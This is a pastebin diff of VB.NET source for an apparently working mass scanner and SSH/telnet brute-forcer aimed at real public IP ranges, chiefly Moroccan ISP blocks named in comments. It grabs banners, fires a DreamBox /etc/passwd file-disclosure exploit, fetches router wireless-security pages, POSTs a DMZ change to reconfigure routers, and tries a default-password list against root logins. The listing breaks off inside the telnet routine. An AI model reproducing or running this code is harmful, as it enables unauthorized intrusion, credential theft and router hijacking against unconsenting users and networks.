View difference between Paste ID: SrbtpaS5 and taLZMYBQ
SHOW: | | - or go back to the newest paste.
1
Imports System.Collections
2
'ArrayList
3
Imports System.Collections.Generic
4
Imports System.IO
5
Imports System.Linq
6
Imports System.Text
7
Imports System.Threading
8
9
Imports System.Net.Sockets
10
Imports System.Net
11
12
Imports Tamir.SharpSsh
13
14
'TODO: http://nion.modprobe.de/blog/archives/704-Exploiting-the-UbiquisysSFR-femtocell-webserver-wsalshttpdmongooseyassl-embedded-webserver.html
15
'JA
16
Namespace sshbruteforcer
17
	Public NotInheritable Class IPAddressMask
18
		Private Sub New()
19
		End Sub
20
		Private Shared Sub CheckIPVersion(ipAddress As IPAddress, mask As IPAddress, ByRef addressBytes As Byte(), ByRef maskBytes As Byte())
21
			If mask Is Nothing Then
22
				Throw New ArgumentException()
23
			End If
24
25
			addressBytes = ipAddress.GetAddressBytes()
26
			maskBytes = mask.GetAddressBytes()
27
28
			If addressBytes.Length <> maskBytes.Length Then
29
				Throw New ArgumentException("The address and mask don't use the same IP standard")
30
			End If
31
		End Sub
32
33
		<System.Runtime.CompilerServices.Extension> _
34
		Public Shared Function [And](ipAddress As IPAddress, mask As IPAddress) As IPAddress
35
			Dim addressBytes As Byte()
36
			Dim maskBytes As Byte()
37
			CheckIPVersion(ipAddress, mask, addressBytes, maskBytes)
38
39
			Dim resultBytes As Byte() = New Byte(addressBytes.Length - 1) {}
40
			For i As Integer = 0 To addressBytes.Length - 1
41
				resultBytes(i) = CByte(addressBytes(i) And maskBytes(i))
42
			Next
43
44
			Return New IPAddress(resultBytes)
45
		End Function
46
47
		Private Shared empty As IPAddress = IPAddress.Parse("0.0.0.0")
48
		Private Shared intranetMask1 As IPAddress = IPAddress.Parse("10.255.255.255")
49
		Private Shared intranetMask2 As IPAddress = IPAddress.Parse("172.16.0.0")
50
		Private Shared intranetMask3 As IPAddress = IPAddress.Parse("172.31.255.255")
51
		Private Shared intranetMask4 As IPAddress = IPAddress.Parse("192.168.255.255")
52
		''' <summary>
53
		''' Retuns true if the ip address is one of the following
54
		''' IANA-reserved private IPv4 network ranges (from http://en.wikipedia.org/wiki/IP_address)
55
		'''  Start 	      End 	
56
		'''  10.0.0.0 	    10.255.255.255 	
57
		'''  172.16.0.0 	  172.31.255.255 	
58
		'''  192.168.0.0   192.168.255.255 
59
		''' </summary>
60
		''' <returns></returns>
61
		<System.Runtime.CompilerServices.Extension> _
62
		Public Shared Function IsOnIntranet(ipAddress__1 As IPAddress) As Boolean
63
			If empty.Equals(ipAddress__1) Then
64
				Return False
65
			End If
66
			Dim onIntranet As Boolean = IPAddress.IsLoopback(ipAddress__1)
67
			onIntranet = onIntranet OrElse ipAddress__1.Equals(ipAddress__1.[And](intranetMask1))
68
			'10.255.255.255
69
			onIntranet = onIntranet OrElse ipAddress__1.Equals(ipAddress__1.[And](intranetMask4))
70
			'''/192.168.255.255
71
			onIntranet = onIntranet OrElse (intranetMask2.Equals(ipAddress__1.[And](intranetMask2)) AndAlso ipAddress__1.Equals(ipAddress__1.[And](intranetMask3)))
72
73
			Return onIntranet
74
		End Function
75
	End Class
76
77
	Public Class Program
78
		'(string ipaddress)
79
		'    public Socket Sock_scan;
80
81
82
		Shared m_byBuff As [Byte]() = New [Byte](32766) {}
83
84
		Private Max_thread As Integer = 50
85
86
		Private Shared callbackProc As AsyncCallback
87
		Private Shared m_ListOptions As New ArrayList()
88
		Shared IAC As [Char] = Convert.ToChar(255)
89
		Shared [DO] As [Char] = Convert.ToChar(253)
90
		Shared DONT As [Char] = Convert.ToChar(254)
91
		Shared WILL As [Char] = Convert.ToChar(251)
92
		Shared WONT As [Char] = Convert.ToChar(252)
93
		Shared SB As [Char] = Convert.ToChar(250)
94
		Shared SE As [Char] = Convert.ToChar(240)
95
96
		' ManualResetEvent instances signal completion.
97
		Private Shared connectDone As New ManualResetEvent(False)
98
		Private Shared sendDone As New ManualResetEvent(False)
99
		Private Shared receiveDone As New ManualResetEvent(False)
100
		' The response from the remote device.
101
		Private Shared response As [String] = [String].Empty
102
103
		Public Shared cpt_th As New Compteur_thread()
104
105
106
107
108
		Private ipaddress As String
109
		Private portx As Integer
110
111
		'public static IPAddress address = IPAddress.Parse("10.20.10.5");
112
		'bool onTheIntranet = address.IsOnIntranet();
113
114
115
		Public Sub New(ipaddress As String, portx As Integer)
116
			Me.ipaddress = ipaddress
117
				'this.cpt_th = new Compteur_thread();
118
			Me.portx = portx
119
		End Sub
120
121
		Public Shared Sub Main(args As String())
122
			Dim p1 As New Program("go", 5)
123
			'p1.go();
124
			Dim th_Scan_ip_port As New Thread(New ThreadStart(AddressOf p1.go))
125
			th_Scan_ip_port.Start()
126
		End Sub
127
128
		Public Sub go()
129
			'    CScanner_IP s;
130
			'    s = new CScanner_IP("41.250.149.1", "41.250.149.254", 21, 25);
131
132
133
			Dim t_IP_start As Byte()
134
			Dim t_IP_end As Byte()
135
136
			'     IPAddress MyExternalIp = GetExternalIp();
137
			'     Console.WriteLine("MyExternalIp=" + MyExternalIp);
138
			'     string[] s_ip = MyExternalIp.ToString().Split('.');
139
			'     string[] s2_ip = MyExternalIp.ToString().Split('.');
140
141
			Dim adresse_en_cours As String
142
143
144
			Dim Port_start As Integer = 22
145
			Dim Port_end As Integer = 23
146
147
148
149
150
			Dim th_Lance_Scan As Thread
151
			Dim th_Scan_ip_port As Thread
152
153
154
			AddHandler cpt_th.lancer_thread, New Program.Compteur_thread.Lancer_Thread(AddressOf Lancer_Thread)
155
156
			'Decoupe IP debut
157
			'196.28.249.---    Burkina Faso
158
			'41.202.193.---    Cameroun
159
			'195.24.206.---    Cameroun
160
			'90.4.125.---      France
161
			'202.152.43.---    Indonésie
162
			'202.159.126.---   Indonésie
163
164
			'http://www.programva.com/en/list-of-ip-addresses-world-countries?user_0=%20Morocco%20MA%20MAR&user_a=ip%20addresses:%20&user_b=list%20of%20ip%20address&id_r=138&opEvent=country&opEventChild=
165
166
			'41.214
167
			Dim s_ip As String() = {"41", "141", "1", "1"}
168
			'zawi    41.250.195.107 
169
			'string[] s_ip={"41", "250", "75", "1"};    //zawi    41.250.195.107  
170
			'string[] s_ip = { "81", "192", "102", "1" };  //Maroc telecom ip fixe   81.192.102.8: netpeas     81.192.152.205: cnia
171
			'41.248.0
172
			'41.248.158.92
173
			'string[] s_ip = { "41", "141", "235", "1" };    //example:  41.141.235.82
174
			'41.141.55.16  Agadir
175
			'41.143.11.192
176
			'41.250.59.57
177
			'41.250.118.53
178
			'41.250.129.142
179
			'string[] s_ip = { "41", "250", "82", "159" };    //example:   41.250.82.159
180
			'        string[] s_ip = { "196", "12", "232", "1" };       //196.12.232.120 <snip> location
181
			'196.206.198.10    Rabat
182
			'string[] s_ip = { "41", "250", "136", "1" };    //<snip> location   41.250.136.238
183
			'string[] s_ip = { "41", "250", "150", "18" }; 
184
			'string[] s_ip = { "41", "250", "195", "1"};    //zawi    41.250.195.107
185
			'string[] s_ip = { "41", "251", "16", "1" };    //<snip> location   41.251.16.238
186
			'string[] s_ip = { "91", "121", "78", "55" };    //OVH   91.121.78.55
187
			'http://www.robtex.com/dns/adsl.iam.net.ma.html#records
188
			'string[] s_ip = { "196", "217", "240", "1" };    //MENARA (mail)
189
			'string[] s_ip = { "81", "192", "48", "1" };    //MENARA (dns)
190
			'string[] s_ip = { "212", "217", "0", "1" };    //MENARA
191
			t_IP_start = New Byte(3) {}
192
			'     for (int i = 0; i < s_ip.Length; i++)
193
			'         t_IP_start[i] = Convert.ToByte(s_ip[i]);
194
			t_IP_start(0) = Convert.ToByte(s_ip(0))
195
			t_IP_start(1) = Convert.ToByte(s_ip(1))
196
			t_IP_start(2) = Convert.ToByte(s_ip(2))
197
			t_IP_start(3) = Convert.ToByte(s_ip(3))
198
			't_IP_start[3] = Convert.ToByte("1");
199
200
			'string[] s2_ip={"41", "250", "149", "254"}; //zawi
201
			'    string[] s2_ip={"41", "251", "254", "254"}; //zawi
202
			Dim s2_ip As String() = {"196", "12", "233", "255"}
203
			'196.12.232.120 <snip> location
204
			'string[] s2_ip = { "41", "251", "16", "254" }; //<snip> location     41.251.35.72
205
			'string[] s2_ip = { "41", "141", "235", "254" };    //<snip> location  41.141.235.82
206
			'string[] s2_ip = { "91", "121", "78", "55" };    //OVH   91.121.78.55
207
			'            string[] s2_ip = { "41", "250", "150", "19" };
208
			'string[] s2_ip = { "196", "217", "255", "255" };    //MENARA (mail)
209
			'string[] s2_ip = { "81", "192", "63", "255" };    //MENARA (dns)
210
			'string[] s2_ip = { "212", "217", "31", "255" };    //MENARA
211
			t_IP_end = New Byte(3) {}
212
			'     for (int i = 0; i < s_ip.Length; i++)
213
			'         t_IP_end[i] = Convert.ToByte(s2_ip[i]);
214
			t_IP_end(0) = Convert.ToByte(s2_ip(0))
215
			t_IP_end(1) = Convert.ToByte(s2_ip(1))
216
			t_IP_end(2) = Convert.ToByte(s2_ip(2))
217
			t_IP_end(3) = Convert.ToByte(s2_ip(3))
218
			't_IP_end[3] = Convert.ToByte("255");
219
220
			'          private void Lancer_Scan()
221
			'		    {
222
			Dim i As Integer = 0, j As Integer = 0, k As Integer = 0, l As Integer = 0
223
			Dim max_j As Integer = 0, max_k As Integer = 0, max_l As Integer = 0
224
			Dim start_j As Boolean = True
225
			Dim start_k As Boolean = True
226
			Dim start_l As Boolean = True
227
228
			Try
229
230
				'    Info_Scan infs = new Info_Scan(IP_start, IP_end, Port, "Debut du scan", "");
231
				'Console.WriteLine("Debut du scan");
232
				'				    if(init_scan != null)init_scan(this, infs);
233
234
				For i = t_IP_start(0) To t_IP_end(0)
235
					If (start_j) AndAlso (t_IP_start(0) <> t_IP_end(0)) Then
236
						j = t_IP_start(1)
237
						max_j = 255
238
					End If
239
					If (start_j) AndAlso (t_IP_start(0) = t_IP_end(0)) Then
240
						j = t_IP_start(1)
241
						max_j = t_IP_end(1)
242
					End If
243
244
					If (Not start_j) AndAlso (i <> t_IP_end(0)) Then
245
						j = 0
246
						max_j = 255
247
					End If
248
					If (Not start_j) AndAlso (i = t_IP_end(0)) Then
249
						j = 0
250
						max_j = t_IP_end(1)
251
					End If
252
253
					While j <= max_j
254
255
						If (start_k) AndAlso (t_IP_start(1) <> t_IP_end(1)) Then
256
							k = t_IP_start(2)
257
							max_k = 255
258
						End If
259
						If (start_k) AndAlso (t_IP_start(1) = t_IP_end(1)) Then
260
							k = t_IP_start(2)
261
							max_k = t_IP_end(2)
262
						End If
263
264
						If (Not start_k) AndAlso (j <> t_IP_end(1)) Then
265
							k = 0
266
							max_k = 255
267
						End If
268
						If (Not start_k) AndAlso (j = t_IP_end(1)) Then
269
							k = 0
270
							max_k = t_IP_end(2)
271
						End If
272
273
						While k <= max_k
274
275
							If (start_l) AndAlso (t_IP_start(2) <> t_IP_end(2)) Then
276
								l = t_IP_start(3)
277
								max_l = 255
278
							End If
279
							If (start_l) AndAlso (t_IP_start(2) = t_IP_end(2)) Then
280
								l = t_IP_start(3)
281
								max_l = t_IP_end(3)
282
							End If
283
284
							If (Not start_l) AndAlso (k <> t_IP_end(2)) Then
285
								l = 0
286
								max_l = 255
287
							End If
288
							If (Not start_l) AndAlso (k = t_IP_end(2)) Then
289
								l = 0
290
								max_l = t_IP_end(3)
291
							End If
292
293
							While l <= max_l
294
								adresse_en_cours = i.ToString() & "." & j.ToString() & "." & k.ToString() & "." & l.ToString()
295
296
								'    Info_Scan info = new Info_Scan(adresse_en_cours, Port, "starting to scan", "");
297
								'    Console.WriteLine("DEBUG Current IP: {0}",adresse_en_cours);
298
299
								'    if(debut_scan != null)
300
								'	    debut_scan(this, info);
301
302
								'
303
'								    Scanner_ip_port sc = new Scanner_ip_port(adresse_en_cours, Port, this, cpt_th);
304
'
305
306
								Dim nb_thread As Integer = 0
307
								For port As Integer = Port_start To Port_end
308
									'
309
'                                        Scanner_IP_Port(adresse_en_cours, port);
310
'                                        th_Scan_ip_port = new Thread(new ThreadStart(Scanner_IP_Port));
311
'                                        th_Scan_ip_port.Name = adresse_en_cours + ":" + Port.ToString();
312
'                                        th_Scan_ip_port.Start();
313
'                                        
314
315
316
									Dim sc As New Scanner_ip_port(adresse_en_cours, port, cpt_th)
317
318
									Dim t As New Thread(New ThreadStart(AddressOf sc.Scanner_IP_Port))
319
									t.Start()
320
321
									cpt_th.Incrementer()
322
									nb_thread = 0
323
									cpt_th.Nb_thread(nb_thread)
324
									If nb_thread = Me.Max_thread Then
325
										SyncLock Me
326
											'    Console.WriteLine("DEBUG WAIT1");
327
											Monitor.Wait(Me)
328
										End SyncLock
329
									End If
330
								Next
331
332
								'http scan
333
334
								Dim sc2 As New Scanner_ip_port(adresse_en_cours, 80, cpt_th)
335
336
								Dim t2 As New Thread(New ThreadStart(AddressOf sc2.Scanner_IP_Port))
337
								t2.Start()
338
339
								cpt_th.Incrementer()
340
								nb_thread = 0
341
								cpt_th.Nb_thread(nb_thread)
342
								If nb_thread = Me.Max_thread Then
343
									SyncLock Me
344
										'    Console.WriteLine("DEBUG WAIT2");
345
										Monitor.Wait(Me)
346
									End SyncLock
347
								End If
348
349
350
								'https scan
351
352
								Dim sc3 As New Scanner_ip_port(adresse_en_cours, 443, cpt_th)
353
354
								Dim t3 As New Thread(New ThreadStart(AddressOf sc3.Scanner_IP_Port))
355
								t3.Start()
356
357
								cpt_th.Incrementer()
358
								nb_thread = 0
359
								cpt_th.Nb_thread(nb_thread)
360
								If nb_thread = Me.Max_thread Then
361
									SyncLock Me
362
										'Console.WriteLine("DEBUG WAIT2");
363
										Monitor.Wait(Me)
364
									End SyncLock
365
								End If
366
367
								'VIDEO H.323 scan : ref.: HD MOORE (Rapid7)
368
								Dim sc1720 As New Scanner_ip_port(adresse_en_cours, 1720, cpt_th)
369
370
								Dim t1720 As New Thread(New ThreadStart(AddressOf sc1720.Scanner_IP_Port))
371
								t1720.Start()
372
373
								cpt_th.Incrementer()
374
								nb_thread = 0
375
								cpt_th.Nb_thread(nb_thread)
376
								If nb_thread = Me.Max_thread Then
377
									SyncLock Me
378
										'Console.WriteLine("DEBUG WAIT2");
379
										Monitor.Wait(Me)
380
									End SyncLock
381
								End If
382
383
384
								'RDP scan
385
								Dim sc3389 As New Scanner_ip_port(adresse_en_cours, 3389, cpt_th)
386
387
								Dim t3389 As New Thread(New ThreadStart(AddressOf sc3389.Scanner_IP_Port))
388
								t3389.Start()
389
390
								cpt_th.Incrementer()
391
								nb_thread = 0
392
								cpt_th.Nb_thread(nb_thread)
393
								If nb_thread = Me.Max_thread Then
394
									SyncLock Me
395
										'Console.WriteLine("DEBUG WAIT2");
396
										Monitor.Wait(Me)
397
									End SyncLock
398
399
									'
400
'								    sc.scan_en_cours += new Scanner_IP.Scanner_ip_port.Scan_en_cours(Ev_scan_en_cours);
401
'								    th_Scan_ip_port = new Thread(new ThreadStart(sc.Scanner_IP_Port));
402
'								    th_Scan_ip_port.Name = adresse_en_cours + ":" + Port.ToString();
403
'								    th_Scan_ip_port.Start();						
404
'								
405
'								    cpt_th.Incrementer();
406
'								    int nb_thread = 0;
407
'								    cpt_th.Nb_thread(out nb_thread);
408
'
409
410
411
									'							
412
'								    if((this.i_progress == this.pas_a_atteindre) && (this.i_progress <= this._ECART_IP_))
413
'								    {
414
'									    Info_Scan ifs = new Info_Scan(adresse_en_cours, Port, "", "", (int)(this.pct_progress * 100));
415
'									    if(this.maj_prg_bar != null)
416
'										    this.maj_prg_bar(this, ifs);
417
'
418
'									    this.pas_a_atteindre += this.pas_progress;
419
'								    }
420
'
421
'								    i_progress++;
422
'    
423
424
425
									'                                    
426
'                                    if(nb_thread == this.Max_thread)
427
'								    {
428
'									    lock(this)
429
'									    {
430
'										    Monitor.Wait(this);
431
'									    }
432
'
433
'									    if(this.ARRETER_SCAN)
434
'									    {
435
'										    Info_Scan inf_s = new Info_Scan("", 0, "", "Arrêt du scan");
436
'										    if(fin_scan != null)fin_scan(this, inf_s);
437
'
438
'										    return;                                        
439
'									    }
440
'								    }
441
'
442
443
								End If
444
								l += 1
445
							End While
446
							start_l = False
447
							k += 1
448
						End While
449
						start_k = False
450
						j += 1
451
					End While
452
					start_j = False
453
454
					'    Info_Scan inf = new Info_Scan("", 0, "", "Fin du scan");
455
					'    if(fin_scan != null)fin_scan(this, inf);
456
				Next
457
			Catch e As Exception
458
				Console.WriteLine("BADBOY: " & e.ToString())
459
			End Try
460
			'		    }
461
462
463
464
465
466
		End Sub
467
468
		Public Class Scanner_ip_port
469
			Private adresse_ip As String
470
			Private port As Integer
471
472
			Private cpt_th As Compteur_thread
473
474
475
476
477
			Public Sub New(adresse_ip As String, port As Integer, cpt_th As Compteur_thread)
478
				Me.adresse_ip = adresse_ip
479
				Me.port = port
480
				Me.cpt_th = cpt_th
481
			End Sub
482
483
			Public Sub Scanner_IP_Port()
484
				Try
485
					'    Console.WriteLine("DEBUG SCANNING: " + adresse_ip.ToString());
486
487
					Dim adresseIP As IPAddress = IPAddress.Parse(adresse_ip)
488
					Dim ip As New IPEndPoint(adresseIP, port)
489
					Dim Sock_scan As New Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
490
					'Sock_scan.Blocking = false;
491
					' Connect to the remote endpoint.
492
					Sock_scan.Connect(ip)
493
					'asynchronous     
494
'                    try
495
'                    {
496
'                        Sock_scan.BeginConnect(ip, new AsyncCallback(ConnectCallback), Sock_scan);
497
'                    }
498
'                    catch (Exception e)
499
'                    {
500
'                        Console.WriteLine("DEBUG BEGINCONNECT: "+e);
501
'                    }
502
'                    Console.WriteLine("DEBUG RACHEL");
503
'                    connectDone.WaitOne(1000);
504
'               asynchronous
505
506
507
					'    Info_Scan info = new Info_Scan(adresse_ip, port, "Port ouvert", "", ind, Resultat_Scan.reussite);
508
					Console.WriteLine("{0} -> Port {1} open", adresse_ip, port)
509
					'    if (scan_en_cours != null) scan_en_cours(this, info);
510
511
512
					'
513
'                    Byte[] RecvBytes = new Byte[256];
514
'                    String strRetPage = null;
515
'                    Int32 bytes = Sock_scan.Receive(RecvBytes, RecvBytes.Length, 0);
516
'                    Encoding ASCII = Encoding.ASCII;
517
'                    strRetPage = strRetPage + ASCII.GetString(RecvBytes, 0, bytes);
518
'
519
'                    while (bytes > 0)
520
'                    {
521
'                        bytes = Sock_scan.Receive(RecvBytes, RecvBytes.Length, 0);
522
'                        strRetPage = ASCII.GetString(RecvBytes, 0, bytes);
523
'                    }
524
'                    Console.WriteLine(strRetPage);
525
'                    
526
527
					Dim data As Byte() = New Byte(4095) {}
528
					Dim banner As String
529
					Dim recv As Integer
530
					'
531
'                    NetworkStream ns = new NetworkStream(Sock_scan);
532
'                    if (ns.CanRead)
533
'                    {
534
'                        recv = ns.Read(data, 0, data.Length);
535
'                        stringData = Encoding.ASCII.GetString(data, 0, recv);
536
'                        Console.WriteLine("== BANNER START =======================");
537
'                        Console.WriteLine(stringData);
538
'                        Console.WriteLine("== BANNER END =======================");
539
'                    }
540
'                    else
541
'                    {
542
'                        Console.WriteLine("Error: Can't read from this socket");
543
'                        ns.Close();
544
'                    //    server.Close();
545
'                    //    return;
546
'                    }
547
'                    
548
549
550
					' Receive the response from the remote device.
551
					'synchro
552
553
					recv = Sock_scan.Receive(data)
554
					banner = Encoding.ASCII.GetString(data, 0, recv)
555
					Console.WriteLine("{0}:{1} -> BANNER01: " & banner, adresse_ip, port)
556
557
					If banner = "" Then
558
						recv = Sock_scan.Receive(data)
559
						banner = Encoding.ASCII.GetString(data, 0, recv)
560
						Console.WriteLine("{0}:{1} -> BANNER02: " & banner, adresse_ip, port)
561
					End If
562
563
					'synchro
564
565
566
					'asynchro
567
'                    Receive(Sock_scan);
568
'                    receiveDone.WaitOne(1000);
569
'                    // Write the response to the console.
570
'                    Console.WriteLine("Response received : {0}", response);
571
'                        banner = response;
572
'                    asynchro
573
574
575
576
577
578
579
580
581
					If port = 21 Then
582
							'    ftptry(adresse_ip);              
583
						Sock_scan.Close()
584
					End If
585
					If port = 22 Then
586
							'   sshtry(adresse_ip);
587
						Sock_scan.Close()
588
					End If
589
					If port = 23 Then
590
591
						If banner.Contains("ogin:") OrElse banner.Contains("assword:") OrElse banner.Contains("Connection was denied by remote host according to ACL!") Then
592
						Else
593
							recv = Sock_scan.Receive(data)
594
							banner = Encoding.ASCII.GetString(data, 0, recv)
595
							Console.WriteLine("{0}:{1} -> BANNER03: " & banner, adresse_ip, port)
596
597
							If banner.Contains("ogin:") OrElse banner.Contains("assword:") Then
598
							Else
599
								recv = Sock_scan.Receive(data)
600
								banner = Encoding.ASCII.GetString(data, 0, recv)
601
								Console.WriteLine("{0}:{1} -> BANNER04: " & banner, adresse_ip, port)
602
							End If
603
						End If
604
						Sock_scan.Close()
605
606
						If banner.Contains("Connection was denied by remote host according to ACL!") Then
607
						Else
608
							telnettry(adresse_ip, banner)
609
						End If
610
					End If
611
					If port = 80 Then
612
						Dim ResponseText As String = ""
613
						Dim SR As StreamReader = Nothing
614
						Dim response As HttpWebResponse = Nothing
615
						Dim request As HttpWebRequest
616
						request = DirectCast(HttpWebRequest.Create("http://" & adresse_ip & "/password.cgi"), HttpWebRequest)
617
						'ServicePointManager.ServerCertificateValidationCallback = new System.Net.Security.RemoteCertificateValidationCallback(ValidateServerCertificate);
618
619
						request.Method = "GET"
620
						'request.ContentType = "application/xml";
621
622
						response = DirectCast(request.GetResponse(), HttpWebResponse)
623
						SR = New StreamReader(response.GetResponseStream())
624
						ResponseText = SR.ReadToEnd()
625
626
						Console.WriteLine(String.Format("password.cgi response status : [{0}]", Convert.ToString(response.StatusCode) & " - " & response.StatusDescription))
627
						Console.WriteLine(String.Format("password.cgi response headers : [{0}]", response.Headers.ToString()))
628
						Console.WriteLine(String.Format("password.cgi response received : [{0}]", ResponseText))
629
630
						'***********************************************************************************************************************************************
631
						'DreamBox DM800 <= 1.5rc1 Remote File Disclosure Exploit
632
						'http://www.exploit-db.com/exploits/18079/
633
						request = DirectCast(HttpWebRequest.Create("http://" & adresse_ip & "/file?file=/etc/passwd"), HttpWebRequest)
634
						'ServicePointManager.ServerCertificateValidationCallback = new System.Net.Security.RemoteCertificateValidationCallback(ValidateServerCertificate);
635
636
						request.Method = "GET"
637
						'request.ContentType = "application/xml";
638
639
						response = DirectCast(request.GetResponse(), HttpWebResponse)
640
						SR = New StreamReader(response.GetResponseStream())
641
						ResponseText = SR.ReadToEnd()
642
643
						Console.WriteLine(String.Format("DreamBox RFI response status : [{0}]", Convert.ToString(response.StatusCode) & " - " & response.StatusDescription))
644
						Console.WriteLine(String.Format("DreamBox RFI response headers : [{0}]", response.Headers.ToString()))
645
						Console.WriteLine(String.Format("DreamBox RFI response received : [{0}]", ResponseText))
646
647
648
						'***********************************************************************************************************************************************
649
						'108M Wireless ADSL2+ Router
650
						'http://41.250.9.119/wlcfg.html   //Wireless/Basic
651
						'http://41.250.9.119/wlsecurity.html   //Wireless/Security
652
653
						request = DirectCast(HttpWebRequest.Create("http://" & adresse_ip & "/wlcfg.html"), HttpWebRequest)
654
						'ServicePointManager.ServerCertificateValidationCallback = new System.Net.Security.RemoteCertificateValidationCallback(ValidateServerCertificate);
655
656
						request.Method = "GET"
657
						'request.ContentType = "application/xml";
658
659
						response = DirectCast(request.GetResponse(), HttpWebResponse)
660
						SR = New StreamReader(response.GetResponseStream())
661
						ResponseText = SR.ReadToEnd()
662
663
						Console.WriteLine(String.Format("wlcfg.html response status : [{0}]", Convert.ToString(response.StatusCode) & " - " & response.StatusDescription))
664
						Console.WriteLine(String.Format("wlcfg.html response headers : [{0}]", response.Headers.ToString()))
665
						Console.WriteLine(String.Format("wlcfg.html response received : [{0}]", ResponseText))
666
						'***********************************************************************************************************************************************
667
						request = DirectCast(HttpWebRequest.Create("http://" & adresse_ip & "/wlsecurity.html"), HttpWebRequest)
668
						'ServicePointManager.ServerCertificateValidationCallback = new System.Net.Security.RemoteCertificateValidationCallback(ValidateServerCertificate);
669
670
						request.Method = "GET"
671
						'request.ContentType = "application/xml";
672
673
						response = DirectCast(request.GetResponse(), HttpWebResponse)
674
						SR = New StreamReader(response.GetResponseStream())
675
						ResponseText = SR.ReadToEnd()
676
677
						Console.WriteLine(String.Format("wlsecurity.html response status : [{0}]", Convert.ToString(response.StatusCode) & " - " & response.StatusDescription))
678
						Console.WriteLine(String.Format("wlsecurity.html response headers : [{0}]", response.Headers.ToString()))
679
						Console.WriteLine(String.Format("wlsecurity.html response received : [{0}]", ResponseText))
680
						'***********************************************************************************************************************************************
681
						'http://41.250.9.119/scdmz.html    //DMZ
682
						request = DirectCast(HttpWebRequest.Create("http://" & adresse_ip & "/scdmz.html?address=192.168.1.2"), HttpWebRequest)
683
						'dmzAddr
684
						'ServicePointManager.ServerCertificateValidationCallback = new System.Net.Security.RemoteCertificateValidationCallback(ValidateServerCertificate);
685
						request.Method = "POST"
686
						'request.ContentType = "application/xml";
687
688
						Dim postData As String = "address=192.168.1.2"
689
						Dim byteArray As Byte() = Encoding.UTF8.GetBytes(postData)
690
						request.ContentLength = byteArray.Length
691
692
						Dim dataStream As Stream = request.GetRequestStream()
693
						dataStream.Write(byteArray, 0, byteArray.Length)
694
						dataStream.Close()
695
696
						response = DirectCast(request.GetResponse(), HttpWebResponse)
697
						SR = New StreamReader(response.GetResponseStream())
698
						ResponseText = SR.ReadToEnd()
699
700
						Console.WriteLine(String.Format("scdmz.html response status : [{0}]", Convert.ToString(response.StatusCode) & " - " & response.StatusDescription))
701
						Console.WriteLine(String.Format("scdmz.html response headers : [{0}]", response.Headers.ToString()))
702
703
704
						Console.WriteLine(String.Format("scdmz.html response received : [{0}]", ResponseText))
705
					End If
706
707
708
						'Console.WriteLine("End of scan, stop to drink b33rz dude - " + adresse_ip.ToString());
709
					cpt_th.Decrementer()
710
				Catch e As Exception
711
					'
712
'                        Info_Scan info = new Info_Scan(adresse_ip, port, "Closed Port", "", ind, Resultat_Scan.echec);
713
'                        if (scan_en_cours != null) scan_en_cours(this, info);                        
714
'                    
715
716
						'    Console.WriteLine("DEBUG {0} -> Port {1} closed", adresse_ip, port);
717
						'    Console.WriteLine("EXCEPT: " + e);
718
					cpt_th.Decrementer()
719
				End Try
720
			End Sub
721
		End Class
722
723
			'conexant telnet
724
			'http://www.itscolumn.com/2011/11/25-password-that-you-should-not-use-not-for-any-accounts/
725
			'123123
726
		Shared passwords As New List(Of String)() From { _
727
			"admin", _
728
			"1234", _
729
			"cisco", _
730
			"", _
731
			"Admin", _
732
			"root", _
733
			"toor", _
734
			"default", _
735
			"azerty", _
736
			"qwerty", _
737
			"12345", _
738
			"123456", _
739
			"1234567", _
740
			"12345678", _
741
			"dreambox", _
742
			"test", _
743
			"user", _
744
			"demo", _
745
			"ZXDSL", _
746
			"password", _
747
			"agadir", _
748
			"menara", _
749
			"Menara", _
750
			"maroc", _
751
			"vodafone", _
752
			"epicrouter", _
753
			"abc123", _
754
			"monkey", _
755
			"letmein", _
756
			"trustno1", _
757
			"dragon", _
758
			"baseball", _
759
			"111111", _
760
			"iloveyou", _
761
			"master", _
762
			"sunshine", _
763
			"ashley", _
764
			"bailey", _
765
			"passw0rd", _
766
			"shadow", _
767
			"123123", _
768
			"654321", _
769
			"superman", _
770
			"qazwsx", _
771
			"michael", _
772
			"football" _
773
		}
774
775
		Public Shared Sub sshtry(myip As String)
776
			Console.WriteLine("sshtry")
777
			'    sshtry("test");         
778
			For Each password As String In passwords
779
				Try
780
					Console.Write("-Connecting...")
781
					Dim ssh As New SshStream(myip, "root", password)
782
					Console.WriteLine("{0} -> SSH PASSWORD IS: {1}" & vbLf, myip, password)
783
					Console.WriteLine("OK ({0}/{1})", ssh.Cipher, ssh.Mac)
784
					Console.WriteLine("Server version={0}, Client version={1}", ssh.ServerVersion, ssh.ClientVersion)
785
					Console.WriteLine("-Use the 'exit' command to disconnect.")
786
					Console.WriteLine()
787
788
					'Sets the end of response character
789
					ssh.Prompt = "#"
790
					'Remove terminal emulation characters
791
					ssh.RemoveTerminalEmulationCharacters = True
792
793
					'Reads the initial response from the SSH stream
794
					'    Console.Write(ssh.ReadResponse());
795
796
797
798
					'''/Send commands from the user
799
					'while (true)
800
					'{
801
					'    string command = Console.ReadLine();
802
					'    if (command.ToLower().Equals("exit"))
803
					'        break;
804
805
					'    //Write command to the SSH stream
806
					'    ssh.Write(command);
807
					'    //Read response from the SSH stream
808
					'    Console.Write(ssh.ReadResponse());
809
					'}
810
					ssh.Close()
811
					'Close the connection
812
					Console.WriteLine("Connection closed.")
813
				Catch e As Exception
814
					Dim response As String = String.Empty
815
					response = e.Message
816
					If response = "Auth fail" Then
817
							'    sshtry("12345");
818
						Console.Write("{0} -> bad ssh password: {1}" & vbLf, myip, password)
819
					Else
820
						Console.WriteLine("{0} SSH ERROR -> " & e.Message, myip)
821
					End If
822
				End Try
823
			Next
824
		End Sub
825
826
		Public Shared Sub telnettry(myip As String, banner As String)
827
			Console.WriteLine("telnettry")
828
829
			Dim Sock_scan As Socket
830
831
			Dim data As Byte() = New Byte(1023) {}
832
			Dim stringdata As String = ""
833
			Dim recv As Integer
834
835
			'try
836
			'{
837
838
			Dim adresseIP As IPAddress = IPAddress.Parse(myip)
839
			Dim ip As New IPEndPoint(adresseIP, 23)
840
			'                Socket Sock_scan = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
841
			'Sock_scan.Blocking = false; // This is a non blocking IO
842
843
			'
844
'                // Assign Callback function to read from Asyncronous Socket
845
'                callbackProc = new AsyncCallback(ConnectCallback);
846
'                // Begin Asyncronous Connection
847
'                Sock_scan.BeginConnect(ip, callbackProc, Sock_scan);
848
'                
849
850
851
			'                Sock_scan.Connect(ip);
852
			'recv = Sock_scan.Receive(data);
853
